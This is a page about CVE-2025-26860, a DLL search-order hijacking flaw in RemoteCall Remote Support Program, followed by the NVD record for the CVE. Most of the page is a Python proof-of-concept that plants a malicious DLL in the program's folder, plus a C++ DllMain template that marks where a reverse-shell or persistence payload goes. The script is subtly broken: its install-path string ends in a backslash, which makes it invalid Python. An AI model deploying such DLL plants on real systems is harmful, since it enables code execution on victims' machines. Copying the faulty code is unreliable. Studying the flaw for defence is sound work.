CVE-2025-26860

# CVE-2025-26860 - RemoteCall DLL Hijacking PoC # This PoC demonstrates the DLL search order hijacking vulnerability # in RemoteCall Remote Support Program versions prior to 5.1.0 import os import shutil import ctypes from ctypes import wintypes # Target DLL name that RemoteCall loads without full path verification # Replace with the actual DLL name exploited in the vulnerable version TARGET_DLL = "version.dll" # Example: commonly hijacked DLL # RemoteCall installation directory (typical path) REMOTECALL_DIR = r"C:\Program Files\RemoteCall\" REMOTECALL_EXE = os.path.join(REMOTECALL_DIR, "RemoteCall.exe") # Malicious DLL source (pre-compiled payload DLL) MALICIOUS_DLL_SOURCE = "evil_version.dll" def check_environment(): """Verify that RemoteCall is installed and we have write access""" if not os.path.exists(REMOTECALL_DIR): print(f"[ERROR] RemoteCall directory not found: {REMOTECALL_DIR}") return False if not os.path.exists(REMOTECALL_EXE): print(f"[ERROR] RemoteCall executable not found: {REMOTECALL_EXE}") return False # Check write permission to RemoteCall directory test_file = os.path.join(REMOTECALL_DIR, "test_write.tmp") try: with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[INFO] Write access confirmed to RemoteCall directory") return True except PermissionError: print("[ERROR] No write access to RemoteCall directory") return False def deploy_malicious_dll(): """Deploy the malicious DLL to RemoteCall's directory""" target_path = os.path.join(REMOTECALL_DIR, TARGET_DLL) # Backup original DLL if it exists if os.path.exists(target_path): backup_path = target_path + ".bak" shutil.copy2(target_path, backup_path) print(f"[INFO] Original DLL backed up to: {backup_path}") # Copy malicious DLL to target location if os.path.exists(MALICIOUS_DLL_SOURCE): shutil.copy2(MALICIOUS_DLL_SOURCE, target_path) print(f"[SUCCESS] Malicious DLL deployed: {target_path}") print("[INFO] When RemoteCall.exe is launched, the malicious DLL") print(" will be loaded instead of the legitimate one,") print(" executing arbitrary code in the RemoteCall process context.") return True else: print(f"[ERROR] Malicious DLL source not found: {MALICIOUS_DLL_SOURCE}") return False def cleanup(): """Remove the malicious DLL and restore original""" target_path = os.path.join(REMOTECALL_DIR, TARGET_DLL) backup_path = target_path + ".bak" if os.path.exists(target_path): os.remove(target_path) print(f"[INFO] Malicious DLL removed: {target_path}") if os.path.exists(backup_path): shutil.move(backup_path, target_path) print(f"[INFO] Original DLL restored: {target_path}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-26860 PoC - RemoteCall DLL Hijacking") print("=" * 60) if check_environment(): try: if deploy_malicious_dll(): print("\n[READY] Malicious DLL is in place.") print("[WAITING] RemoteCall.exe must be launched by the operator") print(" to trigger the code execution.") except Exception as e: print(f"[ERROR] Exploit failed: {e}") cleanup() # Uncomment cleanup() to restore original state after testing # cleanup() # --- C/C++ Malicious DLL Template (evil_version.cpp) --- /* #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Arbitrary code execution when DLL is loaded // This runs in the context of RemoteCall.exe MessageBoxA(NULL, "Pwned by CVE-2025-26860", "DLL Hijacked", MB_OK); // Execute payload here (reverse shell, persistence, etc.) break; case DLL_PROCESS_DETACH: break; } return TRUE; } */

{"cve": {"id": "CVE-2025-26860", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:40.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "RemoteCall Remote Support Program (for Operator) versions prior to 5.1.0 contain an uncontrolled search path element vulnerability. If a crafted DLL is placed in the same folder with the affected product, it may cause an arbitrary code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN22713803/", "source": "[email protected]"}, {"url": "https://www.remotecall.com/en/support/download/", "source": "[email protected]"}]}}